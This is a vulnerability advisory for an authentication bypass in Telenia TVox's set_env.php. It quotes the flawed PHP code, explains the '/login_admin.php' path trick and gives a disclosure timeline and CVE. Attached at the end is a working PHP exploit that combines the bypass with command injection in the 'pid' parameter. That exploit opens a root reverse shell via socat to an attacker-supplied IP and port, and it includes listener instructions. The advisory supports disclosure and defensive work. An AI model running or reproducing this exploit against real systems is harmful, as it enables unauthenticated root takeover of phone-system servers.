📄 Telenia Software TVox 26.5.3 Authentication Bypass

---------------------------------------------------------------------------------
    Telenia Software TVox <= 26.5.3 (set_env.php) Authentication Bypass
    Vulnerability
    ---------------------------------------------------------------------------------
    
    
    [-] Software Link:
    
    https://www.teleniasoftware.com
    
    
    [-] Affected Versions:
    
    Version 26.5.3 and prior 26.x versions.
    Version 24.9.21 and prior 24.x versions.
    Older versions may be affected as well.
    
    
    [-] Vulnerability Description:
    
    The vulnerable code is located within the
    /opt/telenia/tvox/php/siti/t-vox/manager/set_env.php script. Specifically,
    into the redirectToLoginAdminIRequestHaveAccessToken() function:
    
    293. function redirectToLoginAdminIRequestHaveAccessToken($force = false) {
    294.    $current_page = str_replace("/", "", strrchr($_SERVER['PHP_SELF'],
    "/"));
    295.    if ($current_page != "login_admin.php") {
    296.        $request_uri = $_SERVER["REQUEST_URI"];
    297.        $accessToken = @trim($force ? $_REQUEST["access_token"] :
    $_GET["access_token"]);
    298.
    299.        if ($accessToken !== "" && (!isset($_SESSION["wso2auth"]) || (
    isset($_SESSION["wso2auth"]) && $_SESSION["wso2auth"]->accessToken !==
    trim($accessToken)) )) {
    300.            $force = true;
    301.            if (@trim($_GET["access_token"]) != "") {
    302.                $parsedUrl = parse_url($request_uri);
    303.                $parsedUrl["query"] =
    query_string_exclude(array('access_token'), $_GET);
    304.                if ($parsedUrl["query"] != "") {
    305.                    $request_uri = $parsedUrl["path"] . "?" .
    $parsedUrl["query"];
    306.                }
    307.            }
    308.        }
    309.
    310.        if ($force) {
    311.            $_SESSION["request_uri"] = $request_uri;
    312.            unset($_REQUEST["access_token"]);
    313.            $_SESSION['requestSave'] = $_REQUEST;
    314.            header("Location: /tvox/manager/html/login_admin.php" . (
    $accessToken === "" ? "" : "?access_token=" . $accessToken ));
    315.            exit;
    316.        }
    317.    }
    318. }
    
    This function is invoked to verify whether the user is already
    authenticated. If the user is not authenticated, execution reaches line
    314, where the user is redirected to the login page, and it terminates at
    line 315 via an exit statement. The issue is that this authentication check
    is only enforced when the value of the $current_page variable differs from
    "login_admin.php" (line 295). Since $current_page is populated using the
    value of $_SERVER['PHP_SELF'] (at line 294), an attacker can bypass the
    authentication check by simply appending the string "/login_admin.php" to
    the path of the target PHP script. As a result, the application incorrectly
    treats the request as if it were targeting the login page, allowing
    unauthenticated access to all PHP scripts exposed under the
    /tvox/manager/html/ path.
    
    
    [-] Proof of Concept:
    
    https://karmainsecurity.com/pocs/tvox_root_rce.php
    
    
    [-] Solution:
    
    No official solution is currently available.
    
    
    [-] Disclosure Timeline:
    
    [22/05/2026] - Vendor was contacted, no response
    [26/05/2026] - Vendor was notified about this vulnerability, no response
    [27/05/2026] - Vendor was notified about 60-day disclosure deadline policy,
    no response
    [26/06/2026] - Vendor was contacted again along with CSIRT Italy, no
    response from CSIRT
    [08/07/2026] - First vendor response, asking for vulnerability details
    [09/07/2026] - Vulnerability details safely provided to the vendor
    [20/07/2026] - Vendor was contacted again, asking for an update
    [21/07/2026] - Vendor replied a security patch will be released by the end
    of July
    [21/07/2026] - CVE identifier requested
    [21/07/2026] - CVE identifier assigned
    [27/07/2026] - Reached 60-day disclosure deadline, still no official
    solution
    [03/08/2026] - Public disclosure
    
    
    [-] CVE Reference:
    
    CVE-2026-64827 has been assigned to this vulnerability.
    
    
    [-] Credits:
    
    Vulnerability discovered by Egidio Romano.
    
    
    [-] Original Advisory:
    
    https://karmainsecurity.com/KIS-2026-14
    
    
    -- packet storm attached poc --
    
    <?php
    
    /*
        ---------------------------------------------------------
        Telenia Software TVox <= 26.5.3 Pre-Auth Root RCE Exploit
        ---------------------------------------------------------
        
        author..............: Egidio Romano aka EgiX
        mail................: n0b0d13s[at]gmail[dot]com
        software link.......: https://www.teleniasoftware.com
        
        +-------------------------------------------------------------------------+
        | This proof of concept code was written for educational purpose only.    |
        | Use it at your own risk. Author will be not responsible for any damage. |
        +-------------------------------------------------------------------------+
        
        [-] Original Advisories:
    
        https://karmainsecurity.com/KIS-2026-14
        https://karmainsecurity.com/KIS-2026-15
        https://karmainsecurity.com/KIS-2026-16
    */
    
    set_time_limit(0);
    error_reporting(E_ERROR);
    
    print "\n+----------------------------------------------------------+";
    print "\n| Telenia Software TVox <= 26.5.3 Root RCE Exploit by EgiX |";
    print "\n+----------------------------------------------------------+\n\n";
    
    if (!extension_loaded("curl")) die("[-] cURL extension required!\n");
    
    if ($argc != 4) die("Usage: php $argv[0] <URL> <ATTACKER_IP> <ATTACKER_PORT>\n\n");
    
    $ch = curl_init();
    
    curl_setopt($ch, CURLOPT_URL, "{$argv[1]}tvox/manager/html/action_audio.php/login_admin.php");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    
    // On attacker machine: socat file:`tty`,raw,echo=0 tcp-listen:4444
    
    print "[+] Executing reverse shell\n";
    
    $injection = "\$(sudo nice socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:{$argv[2]}:{$argv[3]})";
    
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(["action" => "checkProcess", "pid" => $injection]));
    
    curl_exec($ch);
    
    print "[+] Done!\n\n";